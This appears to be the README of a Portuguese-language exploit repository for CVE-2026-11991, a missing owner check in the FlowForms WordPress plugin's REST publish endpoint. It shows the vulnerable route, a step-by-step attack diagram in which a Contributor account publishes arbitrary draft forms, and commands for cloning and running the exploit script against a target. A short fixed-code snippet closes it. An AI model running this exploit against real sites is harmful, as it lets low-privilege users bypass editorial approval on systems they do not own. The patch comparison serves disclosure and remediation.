POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

Atacante (Contribuidor)              API REST do FlowForms
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Autenticar como Contribuidor
        │<─ cookie wordpress_logged_in ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Coletar nonce REST
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerar formulários rascunho
        │<─ "Form Not Published" ───────────│      (resposta não autenticada)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) Acionar publicação em
        │        {id}/publish ─────────────>│      qualquer ID de formulário rascunho
        │                                   │      ← sem verificação de proprietário
        │<─ { "success": true } ────────────│
        │                                   │
        │   O formulário agora está AO VIVO │  (5) O rascunho contorna o
        │   no site sem aprovação editorial │      fluxo de trabalho editorial

git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

// VULNERÁVEL
'permission_callback' => fn() => current_user_can('edit_posts'),

// SEGURO (corrigido)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # Exploit refinado com interface rica
├── requirements.txt            # Dependências Python
└── README.md                   # Este arquivo